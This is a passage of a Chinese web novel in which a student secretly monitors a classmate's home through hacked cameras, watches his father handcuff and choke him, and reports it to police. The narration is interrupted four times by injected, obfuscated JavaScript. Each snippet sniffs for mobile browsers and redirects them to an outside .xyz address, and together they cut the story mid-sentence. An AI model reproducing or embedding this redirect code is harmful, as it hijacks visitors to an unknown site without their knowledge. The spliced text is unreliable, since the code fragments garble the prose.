她猛地抬头,心脏在胸腔里重重一跳,有那么一瞬间,她几乎以为教授问的是“邮件收到了吗”。
她仓促地站起来,大脑一片空白,凭着残存的印象含糊地应付了几句。坐下时,能感觉到周围同学投来的短暂目光,带着一丝疑惑。
她低下头,指尖冰凉。
这半天的课堂,像一部被按下了慢放键、又抽离了部分音轨的老旧电影。
她身处其中,像镜头里面的演员,又像镜头外面一个格格不入的观众。
上午最后一节课的下课铃声,像一道赦令,也像一声丧钟,划破了她浑噩的状态。
她几乎是立刻收拾好东西,动作快到有些慌乱。但真走到《人工智能开发史》教室走廊时,她的脚步慢了下来,变得裹足不前。
午后的阳光透过高大的玻璃窗斜射过来,在光洁的地板上投下长长的、晃动的光斑。
走廊里有学生在走动,谈笑声、脚步声交织着,但在李明眸听来,这些都成了模糊的背景噪音。
她的世界仿佛被压缩成了眼前这条通往教室门的路径,以及门后那个即将揭晓的、充满不确定性的画面。
她慢慢走过这条长廊,每一步都踩在自己心跳的鼓点上。
她终于站在了熟悉的教室门口。
门虚掩着,里面传来同学们陆续就座的窸窣声和低语。
她深吸一口气,那口冰冷的空气似乎带着铁锈味,一路沉入肺腑。她感觉自己的手指微微颤抖,不得不悄悄握紧。
就是这里了。风暴眼。
她推开了门。
*** ***
关于推开门后会看到的场景,李明眸昨晚想象了很多。
她想象骆绎声会是焦虑的样子,防备地看着周围的人,猜测是谁给他发的邮件;她想象骆绎声收到邮件后,会跟沈思过发生激烈的矛盾,今天不会来上课。
她想象骆绎声会愤怒恐惧,沮丧不安。
她想象了很多他的情绪反应,但没有一种反应,是像现在这样的。
她推开门后,站在阴影里,看到骆绎声。
骆绎声坐在惯常的座位上,有说有笑地跟附近的人聊天。
他的表情是温和的,平缓的,微笑着的。
——就跟以往的每一天一样。
就在李明眸发愣地看着他的时候,有同学在走廊叫骆绎声出来,他便起身往教室门口走。
经过那扇门的时候,他留意到门后的李明眸,表情有些好笑:“怎么又躲这里了,怕我跟你打招呼吗?”
走廊的同学催促他,他便顺手撸了一把李明眸的头发,没等她回答,就往前走了。
李明眸呆呆捂住自己被撸过的头,看着他的背影渐渐远去。
怎么会这样?
他说话的语气、脸上的表情,怎么会跟之前一模一样?除了那顺手揉的一把头发,几乎跟之前没有丝毫变化。
就像什么都没有发生过一样。
但是不应该啊?难道邮件虽然送达了,但是他没有来得及点开看吗?
他每天起床都会先看邮件和信息,她很确定。
这个人非常规律,就像他睡觉关灯的时间,23:00,不会早一分钟,也不会晚一分钟,所以他不应该没看到啊?
在整个上课过程中,李明眸都魂不守舍,只顾盯着骆绎声——他连上课的表现都没有变化!他还真的认真听讲了,仿佛没有受到一丁点影响!
*** ***
早上的老电影仿佛开了8倍速,所有的画面和声音都变了形。她辛苦维持的惯性也通通消失了、被打破了。
有同学求她不要登记自己没交论文,她同意了;被教授叫起来回答问题,她不想回,直接说了自己不会……
引来一阵惊诧,她也没理。
好不容易熬到放学,李明眸顾不上搭公交,直接打了个滴滴回家。
她非常赶时间。
她要立刻知道骆绎声今天发生了什么。
一下车,她就冲回家,跑到电脑前,打开沈思过的即时监控系统。
她要确认一下,骆绎声收到邮件后,到底有没有打开来看。
她找到最新日期的监控录像,骆绎声是早上7:00起床的,洗漱完后,大约7:30,他会一边吃早餐,一边查看信息和邮件。
她直接拉到7:00,发现骆绎声在床上。
直到7:30,他还是在床上。
李明眸:……他赖床了?
她默默松了口气:他果然没看邮件。
他今天赖床了,时间不够,所以没像以往一样查看邮件。
可是她转念一想:他不应该赖床啊?
骆绎声的起床时间跟睡眠时间一样,十分规律,晚上的23:00,和早上的7:00。她之前查看录像的时候,还没发现过例外。
所以他今天为什么会赖床?
她把录像的进度条拉回昨晚。
22:30,骆绎声的房间是空着的,他不在房间里。书桌上的电脑屏幕是亮着的,屏幕上是弗雷娜船难的相关报导,和一些舞剧的表演说明。
22:45,骆绎声终于穿着睡袍、头发湿漉漉地走进房间。他没有第一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396247|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时间关上电脑,而是先擦干头发,收拾了一下床铺。
他看起来要准备睡了。
22:59,电脑屏幕的右下角跳出提示,说他收到一封新邮件。
李明眸的心跳渐渐变快:她昨晚就是在22:59发的邮件。
这是她发的邮件。
23点整,骆绎声已经吹干头发、铺好床铺,他走到电脑前,准备关机。
那条收到邮件的提示还在右下角。
李明眸的心跳剧烈搏动起来:他看到了吗?他看到那个提示了吗?
骆绎声站在电脑边,点开提示。
他点开了那个提示!
他看了!
原来他昨晚就看了!
李明眸的心跳声大得能震起地上的灰尘。
骆绎声背对着镜头,在电脑前站了几秒,然后才坐下来。
当时已经过了23点整。
他没有关灯。
他背对着摄像头,打开了那封邮件。
李明眸看不到他的表情。她尝试把画面调到另一个摄像头,但他的脸被电脑屏幕挡住了。
他坐的这个位置,是监控的“死角”,只要他坐在这里,房间里的39个摄像头,都拍不到他的脸。
她焦急又无奈,把画面调回第一个摄像头:起码那个摄像头能拍到他的电脑屏幕。
她看到骆绎声点开一条视频确认了一下,然后他反复拖拉鼠标,似乎在确认有多少条视频。
除了第一条视频,他没再点开后面的视频,也没有别的操作。
他就坐在电脑桌前,对着一屏幕的视频缩略图发呆,坐了30分钟。
在这30分钟里,他没有一一确认这些视频,没有找睡在另一个房间的沈思过确认情况,也没有确认摄像头的位置。
他甚至没有多余的情绪反应。
他只是坐在那里,维持同一个动作,看着电脑屏幕。
他坐了多久,李明眸就看了他多久。她一直在等他做点什么。
等到23:30,骆绎声终于动了!
他先是关闭邮箱和视频,关了电脑。然后又关了灯,慢慢地掀开被子,躺到床上。
最后,他给自己盖上被子,平整躺好。
李明眸看着床上凸起来的那个被窝,一直等,一直等,一直等,等到次日的01:00,她确认了一件事情:骆绎声好像是真的睡了。
李明眸:???
看完这将近一个半小时的睡眠记录,她有些抓狂了:不对啊,你还睡得着吗你!?
她把视频的倍速拉到16倍,看着骆绎声睡了一晚上,甚至连姿势都没有换一下。
直到次日的07:35,骆绎声终于动了一下。在赖床35分钟后,他醒了。
李明眸把视频的倍速重新调回一倍速,然后调动各个摄像头,跟着骆绎声起床刷牙、换衣服、吃早餐。
他们是在客厅的餐桌上吃的早餐,没错,是“他们”。骆绎声和沈思过两个人。他们一起吃的沈思过做的煎蛋和吐司。
他们和乐融融地吃着早餐,就跟以往的每一个早晨一样。
沈思过问他,怎么今天起晚了。
骆绎声淡淡回答“失眠了”,也没有提起昨晚收到的邮件。
他正常地吃完早餐,然后准备出门了。
一直看到骆绎声出门为止,李明眸的抓狂变成了惶惑:她觉得不太对劲。
她有一个直觉,她觉得自己好像不该发这封邮件。
35. 暴风眼
把邮件发出去后,李明眸度过了诡异的、风平浪静的几天。
那天回家看监控,发现骆绎声看到邮件后视若无睹的样子,李明眸做好了充足准备。
她觉得骆绎声可能会暗中调查什么,便准备装作什么都不知道、什么都没发生,以免骆绎声怀疑到她身上。她还把骆绎声收到邮件当天的监控画面替换了,以免沈思过发现什么。
沈思过没发现异常。但她万万没想到,骆绎声收到邮件后的几天,竟然也是一副无事发生的样子。
就算他本来就知道监控的存在,也得好奇一下是谁给他发的邮件吧?
可他没有,他以前每天做什么,他现在就也每天做什么。
他在收到邮件的第一天,起码还晚睡晚起了半小时,但从第二天开始,他又准时23点睡7点起了。
他甚至没有回一封邮件问问李明眸,也没有跟任何人——包括沈思过和骆颖——提起过他收到的这封邮件。
这么几天下来,李明眸的警惕心缓缓下降,好奇心重新占了上风。
她开始在骆绎声附近徘徊,仿佛一只循着鱼腥味觅食的猫。
在《人工智能开发史》课上,她会不经意地路过骆绎声座位,然后停在离他三五米远的地方,假装自己在那看手机,其实是在偷听他跟别人说话。
幸好他附近总是有几个人围着,她这么做,倒也不显得显眼。
每次去食堂吃饭的时候,她都要绕个远路,特意经过艺术学院和活动中心,增加跟骆绎声偶遇的频率。
还有之前他打招呼让她撞到树的校道,她现在出入海大,只走那条校道。
并且留意每一棵树。
她就这么跟了骆绎声一周,什么信息都没收集到,反而还引起了奇怪的注意。
有一次她在艺术学院楼下成功“偶遇”骆绎声,她就远远地跟着他,突然被人从后面拍了一下背。
她吓得跳了起来,回头去看,看到也被她吓了一跳的许由美。
李明眸:“你、你干嘛?!”
许由美:“没干嘛……就是觉得最近好像蛮经常看到你?”许由美经常和骆绎声一起活动。
两人沉默许久,气氛有点奇怪。
骆绎声已经走远了。
许由美从兜里掏出一包小鱼干:“吃吗?”
“哦。”她接过去,看到许由美还盯着她,就试探性地打开包装吃了一口,许由美这才离开。
然后她看到许由美又往前走了一段路,发现了一只偷偷跟在身后的流浪猫,然后又从兜里拿出一包新的小鱼干,帮着打开包装后,看着那只猫吃了起来。
李明眸:“……”
她不敢再跟着骆绎声,害怕他发现什么。
她转换策略,开始观察沈思过。
——在好奇心的驱使下,她甚至都不排斥接触沈思过了。
以前她去宋教授的办公室,会特意避开沈思过在的时间。现在她专门挑沈思过在的时候去。只要看到宋教授在蹭咖啡,她就说自己也要喝。
跟着蹭了几次咖啡后,她发现骆绎声确实没告诉沈思过那封邮件的事情。在家里没告诉,在海大远离那些摄像头的时候,也没告诉。
沈思过对此表现得一无所知,没有警惕,没有防备,没有惊慌。
他的表现一如既往,包括对李明眸的好奇和热情。
除了在骆绎声附近徘徊、去沈思过办公室蹭咖啡,李明眸还有一个日常项目:她开始每天查看骆绎声家的实时监控。
每天回到家,她要做的第一件事情,就是打开骆绎声房间的当日录像,看他今天有没有露出马脚。
可是每一天都没有异常……他过着波澜不惊的平静生活,每天早睡早起,准时吃饭。
她吃晚饭的时候,她就打开骆绎声的实时监控,刚好他俩吃饭的时间比较一致,她就一边看骆绎声的饭,一边吃自己的饭。
看久了之后,她甚至有种自己是在看吃播的感觉。
她有点担心,再这么看下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396248|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去,自己会变成跟沈思过一样的变态……
幸好没看几天,沈思过先露出了马脚。
在每个周三和周五,就是骆绎声做完夜店兼职的次日,沈思过会趁骆绎声不在家,偷偷翻他的衣柜。
骆绎声的兼职时间是每周二和周四,他特意选修了这两天晚上的课,但是他会旷掉,然后假装自己当晚在上课,其实是去兼职了。
兼职结束后,他会在22:00-22:30的时间段回到家,跟上完选修课后回到家的时间点一致。
李明眸查询了那两门课的信息:虽然他没有去上课,却没有旷课记录。
骆绎声不想让沈思过发现自己的兼职,但沈思过似乎有所察觉——如果他真的一无所知,就不会在骆绎声兼职结束的次日,去翻他的衣柜。
骆绎声的衣柜角落,放着一沓现金。
每个周三和周五,骆绎声起床上学之后,沈思过都会去翻那沓现金。他每次都会把那沓钱数一遍,看看数额有没有变化。
李明眸跟着他数了三次,发现每次都是29万,没有变多,也没有变少。
数完之后,沈思过会很小心地把这些现金放回去,确认每个边边角角的位置都没有变化。
虽然沈思过如此小心,但骆绎声似乎没想过沈思过会确认他的钱。因为他没有打开衣柜确认过。
除了衣柜里的钱,李明眸翻看沈思过的电脑日志,发现他还会定期确认骆绎声银行卡里的账户余额。
骆绎声的账户似乎是沈思过在代理处理的,数额也没有变化,一直是429万——她对这个数额有点咋舌,大概是沈家的长辈给的。
沈思过应该是怀疑骆绎声有在外面工作,但因为查不到骆绎声的资金变化,所以他不能确定这件事情。
李明眸跟着沈思过确认完了骆绎声的现金和银行账户,也疑惑起来:他兼职的钱都放哪里了?
他之前一本正经地说自己爱钱,但他已经有这么多钱,收集更多钱,到底是要做什么?
36. 脱衣舞男
就这么过了一段时间风平浪静的日子,李明眸什么新信息都没得到,除了得知沈思过在疑心骆绎声的兼职这件事情。
刚好这天是周四,李明眸坐在438上,看着车上浓妆艳抹的人越来越多,想到骆绎声这个点,应该也该开始工作了。
到大红灯区站点的时候,她就突然想过去看一看。
于是她下了车。
刚到“岩浆”,她发现门口的人比以往多,没等她搞明白情况,就被门口的侍应塞了一张传单:原来是店里有周年庆,这几天都有派对。
她低头看着传单,发现传单上有一张骆绎声的工作照。
这工作照虽然全身裹紧,没有哪里露的地方,问题是它也裹得太紧了……这衣服的布料非常贴身,穿上去之后,身体是什么线条,基本都一览无余。
仿佛哪里都没露,又仿佛全都露完了。
李明眸捏着这张宣传单,心想:让骆绎声穿成这样拍照,得加多少钱啊?
她拿着宣传单,被人潮推搡着进入了大门。
有了上次的经验,她自己找到卡座坐了下来。
她担心被骆绎声找到,还戴了个口罩,但不知道谁在店里通风报信,她才坐下没多久,骆绎声就找到了她。
她上下观察了一下骆绎声,发现他表情有点臭。
虽然别人可能看不太出来,但她观察他很久了,只要他眼睛微微眯起来,嘴角似笑非笑的样子,就是心情不好了。
她暗中揣摩:难道他终于开始认真思考那封邮件了?
骆绎声问她:“不是让你别来这种地方了吗?”
李明眸顾左右而言他:“你都能在这里工作,我怎么就不能来这里消费了?”
骆绎声一话不说,拉着她的兜帽,就把她往外面领。
她终于慌了,挣扎着拽回自己的兜帽:“你干嘛?”
“少扯淡了,你就是跟着我来的,回家去。”
被领到门口后,她在门口徘徊,很镇定地对骆绎声说:“你进去工作吧,我这就走了。”
骆绎声抱着双臂看她:“那你怎么还不走?”
“……”
“你该不会想等我进去之后,你再溜进去吧?”
被发现了。
骆绎声拉着她的兜帽走了两步,要把她拉到公交站,看着她上车。
李明眸终于不高兴了:“你这人怎么这么没边界感?我在门口走走又怎么了,关你什么事?”
骆绎声终于彻底笑了出来:“没边界感的人是谁?最近老跟着我的人,不是你吗?”
李明眸:!
肯定是许由美告诉他的!
她的气势弱了下去:“那我也没过来打扰你啊,看看也不行吗?”
骆绎声面无表情地看着她。
她不敢说话了。
她最终还是被送去了车站,就跟被逮住发配的贼似的。
到了公交站,刚好438来了。
她一直捏着那张宣传海报,上车的时候,骆绎声一把将那张海报夺了回去,很凶地说:“要是让学校的人知道我在这里上班,我就也让你穿成这样。”
李明眸:?
等车开出去后,她移动到车窗边,用手机拍下了他回去的背影,发现他就穿着海报上的那件制服。
啊,他确实不喜欢穿这种“暴露”的衣服,也不喜欢别人看他。
怪不得刚刚见到他的时候,他脸色这么臭。
赚钱真不容易啊……
她默默收起手机,又从包里掏出了第二张海报:他刚刚是想回收罪证吗?但她拿了两张海报来着。
*** ***
她那天留着“岩浆”的周年庆海报,倒也不是特意的,只是觉得好看,所以顺手放在包里,没想过特意扔掉。
但她没想到,后来会因为这张海报惹出事来。
这张印着骆绎声工作服的海报,她一直放在包里面,这天去宋教授办公室交资料的时候,因为手上拿的东西有些多,所以她把资料也放在包里面了。
结果到了宋教授办公室,宋教授不在,沈思过坐在他的位置上。
沈思过说宋教授走开一会,问李明眸有什么事情要他帮忙交代的。
李明眸想了想,觉得那些资料也没有什么绝密内容,就直接把资料从包里掏了出来,放在宋教授办公室桌上,说“没什么要交代的”,就要转身离开。
交完资料后,她一边往门口走,一边心不在焉地拉上包包拉链。
合上包包的时候,她瞥了一眼包里,觉得好像少了点东西。
走到门口的时候,她终于反应过来,猛地拉开包一看——“岩浆”的宣传海报不见了!
她迅速反应过来,回头看去,看到那沓灰白色的资料中,露出彩色的海报一角。那一角刚好是骆绎声的下半身。
沈思过疑惑地看着这彩色海报一角,正好奇地想抽出来看。
李明眸站在门口,大喊一声:“沈导演!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396249|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她的声音太大了,沈思过被她喊得愣了一下,手一抖就把海报抽出来了,但眼睛却看向了李明眸的方向。
李明眸几乎是飞奔过去,迎着沈思过的视线,三两步跑到他面前,一把夺回了海报,把海报正面朝向自己,捂在肚子上。
沈思过“啊”了一声,有些惊诧地看着她,似乎什么也没发现。
“你怎么了?”
李明眸的心跳得很快,她都疑心自己的心脏要从胸膛里蹦出来,崩到沈思过脸上。
“没、没什么,拿错东西了。”
“哦,那你下次小心一点啊。”
沈思过的提醒语气阴柔,听着并不会让人不适。
他的表情没什么变化,异象也没什么变化——他看起来什么也没发现。
但他刚刚都把海报整张抽出来了,他真的什么都没看到吗?
李明眸干干地回了一句“好的”,想留下来确认一下沈思过是否有发现什么,又害怕引起他更多疑心。
最后她只是在原地踱了几下,便转身离开了。
*** ***
李明眸晚上本来有两节课,但傍晚从宋教授办公室出来后,她就开始心神不宁。
行尸走肉般上了一节课,她放心不下,索性旷掉了第二节课,然后回家了。
回到家之后,她第一时间奔向电脑,打开骆绎声家的实时监控,想确认他家里情况怎么样。
她回到家的时候,大约是晚上20:30。
今天是周五,骆绎声晚上没有课,也没有兼职。
正常来说,他会在18:30回到家,然后会跟沈思过吃晚饭、打理一下玻璃花房的花。
到20:30的时候,他应该会在舞蹈室练习——他们家有专门的舞蹈室。
可是当她在20:30打开舞蹈室的摄像头时,她发现舞蹈室是漆黑的,里面没有人。
她切换着这栋别墅的摄像头,从庭院、露台、门廊,一直切换到客厅。
仆人不知道哪里去了,这些地方都没有人,也没有开灯,很安静。
监控里的夜风吹过露台和露台外的树叶,发出“沙沙”的声音。经过摄像头的转录,这些风声失真了,听起来像有幽灵在这栋房子里凄婉哀鸣。
直到镜头切到骆绎声门前那条狭窄的走廊时,风声才消失了。鬼哭的声音被挡在了紧闭的走廊外,骆绎声和沈思过的争执声隐隐从走廊的另一头传来。
那里是骆绎声的房间。
37. 暴露1
在摄像头里,从骆绎声房间传来的争执声越来越大。
李明眸心脏揪紧一下,连忙切换到下一个摄像头,进入了骆绎声的房间。
不知道骆绎声之前和沈思过发生了什么交流,房间内的情况,明显已经失控了。
衣柜柜门大开,里面的衣服撒了一地,衣柜角落的现金也被翻了出来;
书桌上面的照片、书、摆饰在地上凌乱地分布着;
地上还有一些碎裂的玻璃,是奖杯摔在地上,碎裂了;床头柜也被推翻,横着倒在地上。
床的中央,骆绎声正倚在床头,沈思过站在床边,一只手摁住骆绎声,离得他很近。
沈思过另一只手里拿着手机,手机上是一张照片,一张骆绎声在“岩浆”里兼职的照片,穿着海报上的那身工作服。
他把手机屏幕怼到骆绎声的眼前,逼着他看那张照片。
李明眸第一次见到这样的沈思过。她只看过沈思过两个样子:风度翩翩的、沉稳的、英俊的样子;以及他恐怖的异象形态。
在监控屏幕里的沈思过,仍然是英俊的,但是那张英俊的脸并不能让任何人觉得赏心悦目,因为那张脸上的五官和表情太扭曲了。
沈思过的嘴角勉强弯着,挣扎着想露出一个微笑,但是他脸上的肌肉却绷紧了,不受控制地微微抽搐着。
他把声音压低,好像在压抑自己的愤怒。他对骆绎声说:“你就这么想赚钱离开家里吗?只有婊.子才去那种地方工作,你想被人骑吗?”
眼前的这个人,绝对不是媒体口中那个风度翩翩的沈思过。媒体口中的沈思过斯文儒雅,不会说出“婊.子”和“被人骑”这样的话,也不会露出这种五官扭曲在一起的表情。
骆绎声沉默着。
这个摄像头没有拍到骆绎声的脸,李明眸不知道他现在是什么表情。
她慌张地切换到另一个摄像头,虽然还是没有看到骆绎声的脸,却看到了上一个摄像头没拍到的死角——她看到骆绎声的左手不自然地向外弯曲着,被一只手铐拷在了床柱上。
她的手微微发抖,点了几次才成功把画面放大,确认自己没有看错——他真的被拷住了。
屏幕中的骆绎声还是沉默着,没有发出一点声音。
沈思过的耐心终于耗尽,他的怒火忍耐不住地喷发出来。他猛地掐住骆绎声的脖子,失控地说:
“你说话!我给的钱不够花吗?我对你不够好吗?你为什么就学不会满足!”
他的手猛地往后一摁,让骆绎声的头撞在床柱上,发出“砰”的一声巨响。
他摁着骆绎声的脖子,咬牙切齿地重复:“你说话!你为什么就学不会感恩!”
李明眸啃噬自己的指甲,站起来,像一只困兽一样,在原地不停地转圈。
沈思过发现了。是因为那张海报吗?他当时是不是看到了那张海报?
在初冬的寒气中,她的鼻尖微微冒出热汗来,自言自语:“想想办法,想想办法。”
她不停转圈,看到桌面上的手机,下意识就拿起来,给骆绎声打了个微信电话。
电话铃声在监控视频里同步响了起来。骆绎声侧了侧脸,似乎在看是谁给他打电话。
沈思过一把抓过他的手机,狠狠摁下关机键,因为过分用力,好几下都没有摁准。
铃声响了十秒左右,随着关机的声音响起,彻底消失了。
李明眸看着监控里的情况,抿紧嘴唇,转而打起沈思过的电话。
轮到沈思过的电话响了起来,李明眸第一次情绪如此失控,对着监控大喊:“听电话!”
但是沈思过不但没听电话,还愤怒地将自己的手机摔了出去。那台手机撞到桌角某个地方,发出“啪”地一声,屏幕碎裂,铃声终于不响了。
骆绎声一直低着的头终于缓缓抬起。
骆绎声一直保持着低头的动作,李明眸也因此一直没看清他的表情。
但就在他即将抬头,露出自己的脸的瞬间,画面静止了。
她等了大约四五秒,才发现画面卡住了。她冲回键盘前,调出运行记录,以为是自己的电脑卡顿了,但是没有,显示她的设备一切正常。
那是监控卡了?为什么卡?为什么偏偏在这个时候卡?
她焦急地啃着自己的指甲,甚至没发现大拇指的指盖已经开裂渗血了。
她焦急地调阅沈思过设备的运行记录,才发现沈思过的监控设备断网了,原因是路由器掉线。
掉线了?
她点开最后的静止画面,放大二十倍,终于发现了问题:刚刚沈思过把手机摔出去的一瞬间,手机砸在了路由器上方,路由器坏掉了。
李明眸的手狠狠砸在桌面上,书桌上的水杯摔在地上,碎裂开来,水洒了一地。
她立刻站起身来,往房间门口冲,甚至连鞋都顾不上穿——她准备现在就去骆绎声家里,阻止沈思过。
手刚放到门把手上,她冷静下来:她去到骆绎声家里,要40分钟左右。
40分钟,骆绎声尸体都凉了。
她看了一眼电脑屏幕上的静止画面,觉得必须做些什么,立刻,马上。
她看着搁在桌面上的旧手机,狠了狠心,铤而走险地作出决定:她要报警。
在拿起手机的瞬间,她犹豫了一秒,重新放下,拉出抽屉,从里面拿出一个旧手机。
她下意识用了一个不记名电话报警。
这个报警电话没有花费很多时间,电话几乎立刻就接通了。
她花了五分钟,跟接线员说了一下大概的情况:骆绎声家的地址,沈思过和骆绎声这两个人的关系,以及正在发生的事情——她认为沈思过想要性.侵骆绎声。
接线员镇定地把信息记录下来,承诺会立刻出警。最后她问李明眸:“请问您是这对父子的……?”
李明眸含糊其辞地说:“是他们邻居,所以才看到了。”毕竟入侵别人电脑也是违法行为,她并不打算解释太多。
含糊地表明了自己的身份后,李明眸犹豫了一下,想继续揭发沈思过安装的监控,以及他多年来的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396250|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
监控行为。但是她不明朗情况,也不确定骆绎声的意愿,所以最后还是沉默了。
她决定先等骆绎声脱离困境,别的迟点再说。
接线员让李明眸放心,说会好好处理这件事情,然后就挂上了电话。
在等待警察处理结果的时候,李明眸焦急地摆弄自己的电脑。她急切地想知道事情的后续,想知道骆绎声现在的情况。
她尝试让骆绎声房间里的监控设备连上他家里别的路由器,却发现连不上,别的路由器太远了,信号微弱。
她焦急之下,找到了外面庭院的路由器——庭院里竟然有一个路由器。
她花了一点时间破解密码,然后再连上骆绎声房间里的监控设备。
*** ***
三十分钟后,骆绎声家里的摄像头重新上线了。
她迫不及待打开监控,第一时间切到骆绎声房间的主摄像头。
她以为自己会看到警察把沈思过制服在地,骆绎声则会披着小毯子坐在一边,被女警察关怀之类的。但是房间里一个人也没有。
刚刚还一片凌乱的房间重新变得整洁,甚至连被子都叠得整整齐齐的,床单上一条折痕也没有。地上的碎玻璃被扫走了,那个手铐也不见了,床柱上没有拷过人的痕迹。
整齐、安静、有序——除了那个摔碎的奖杯不见了,这个房间好像什么也没发生过。
李明眸愣住了。她不停地切换摄像头:房间、小客厅、客厅、走廊、露台……她一路找过去,最后在主建筑的门廊找到了人。
在门廊的监控下方,站着两个警.察。这两个警.察是李明眸找来的,他们来得很及时。
在警.察的对面,站着沈思过和骆绎声。
骆绎声正在微笑,李明眸认得出来,是在海大时的那种笑法;沈思过的脸上则有一块淤青,但是表情已经恢复了风度翩翩的样子。
两个人的表现都很自然。
女警.察正拿着一个本子在记录什么,她看了会沈思过脸上的淤青,然后询问骆绎声,刚刚有没有发生什么糟糕的事情。
听到女警.察的问题,骆绎声辛苦忍住想笑的表情。女警.察问他为什么想笑,他解释道:“抱歉,我很尊重您的工作。只是我从来没想象过……嗯……别人会这么想象我和我爸。”
他笑得好看,说话的语气也温柔体贴,女警.察忍不住盯着他看多了几秒。
沈思过则站在一边,一脸歉意地对另一个男警.察说:“这么晚还麻烦你们跑一趟,辛苦你们了,要进来休息一下吗?如果你们还有怀疑的话,也可以进来看看……呃,看看那些‘性侵’的痕迹?”
骆绎声又笑了起来,仿佛沈思过说了一件搞笑的事情。
两个警.察连忙摆手,他们看着这栋建筑和这对体面的父子,拘谨地说这只是个误会,他们很快就会走了。
李明眸觉得眼前的情景很不可思议:为什么沈思过和骆绎声可以一脸若无其事的样子,还和两个警.察相谈甚欢?这发展难道是为了响应和谐社会的号召?
38. 暴露2
骆绎声和沈思过在半小时前才发生那样的争执,但才过了半小时,他们又可以在外人面前表演和睦了,甚至还有余裕与警.察调笑。
李明眸看着眼前的画面,回想起这栋建筑过去9年里的8975条视频,那里面如出一辙的平静跟和谐,不禁打了个冷颤。
她把实时监控切掉,打开监控录像,打算回看30分钟前断掉的视频。
她想知道,在监控掉线之后的这30分钟里,到底发生了什么事情。
她找到骆绎声房间的主摄像头,把进度条拉到“20:30”,回到掉线前的最后一个画面:
沈思过愤怒地将自己的手机摔了出去,手机撞到路由器,发出“啪”地一声,屏幕碎裂,铃声终于不响了。
骆绎声一直低着的头终于缓缓抬起……
“骆绎声一直低着的头终于缓缓抬起。”
这就是李明眸看到的最后的画面。她以为接下来会有一场激烈的搏斗,但是跟她想象的完全不一样。
骆绎声抬起头后,她终于看到了骆绎声的表情。那个她一整晚都没看到的表情。
她以为骆绎声低着头的时候,表情大抵是害怕的、可怜的,但完全不是这样。
骆绎声脸上的表情很复杂,混杂着厌恶、鄙视、不耐,甚至还有点儿同情。但里面唯独没有害怕。
他对着沈思过说出了今晚的第一句话,语气很不耐烦:“把手拿下去。”
沈思过粗喘着,仿佛一只困兽。他的手放在骆绎声的脖子上,不肯放开。
骆绎声换成了一种命令式的语气,一字一顿地重复:“我说,把-手-拿-下-去。”他露出一个蔑视的表情:“你不是说,都听我的话吗?”
沈思过盯着骆绎声的脸,粗喘越发大声。他没有听话地放开手,反而越发用力地摁住骆绎声。他用另一只手抓住骆绎声的下颌,不知道想做什么。
骆绎声的左手被拷住了,他“啧”了一声,右手握成拳头,猛地朝沈思过的脸砸去。
李明眸隔着屏幕,都能感觉到骆绎声当时有多用力。在重击的闷声响起后,沈思过没有站稳,整个人被砸飞出几步,最后撞到书桌上,才停了下来。
李明眸:“……”
原来他那些胸肌和腹肌不是观赏性的啊,她刚刚是不是白操心了……
把沈思过砸飞出去后,骆绎声问他:“你冷静下来没有?”
沈思过被揍了一拳的脸迅速地肿起来。他摸了一下那肿块,吐出一口带血的唾沫,然后又一脸扭曲地朝骆绎声走去。
骆绎声微微昂着头,有恃无恐地说:“你试试,我明天就搬走。”
沈思过的右脚已经踏出去半步,但是突然停住了。他既没有继续往前走,也没有收回脚,他维持着这个跨步的姿势,跟骆绎声隔着一步远。
骆绎声又问了一次:“你冷静下来没有?”
沈思过慢慢地收回了自己踏出去的右脚。他在原地站了好一会,固执地看着骆绎声:
“我把我的所有给你,我的命都是属于你的,你只能待在这栋房子里!你是我们家的人!”
他的语气充满胁迫,又很神经质,听起来像个心碎的神经病。
骆绎声慢慢露出一个甜蜜的笑容——他笑得就像骆颖:“你喜欢我这样笑是吧?我心情好的时候会演得好一点。”
他的语气又轻又慢,还很温柔:“但是少靠近我,你这样的垃圾只配舔我的脚。死同性恋。”
沈思过的脸一下子扭曲了:“我不是同性恋!”
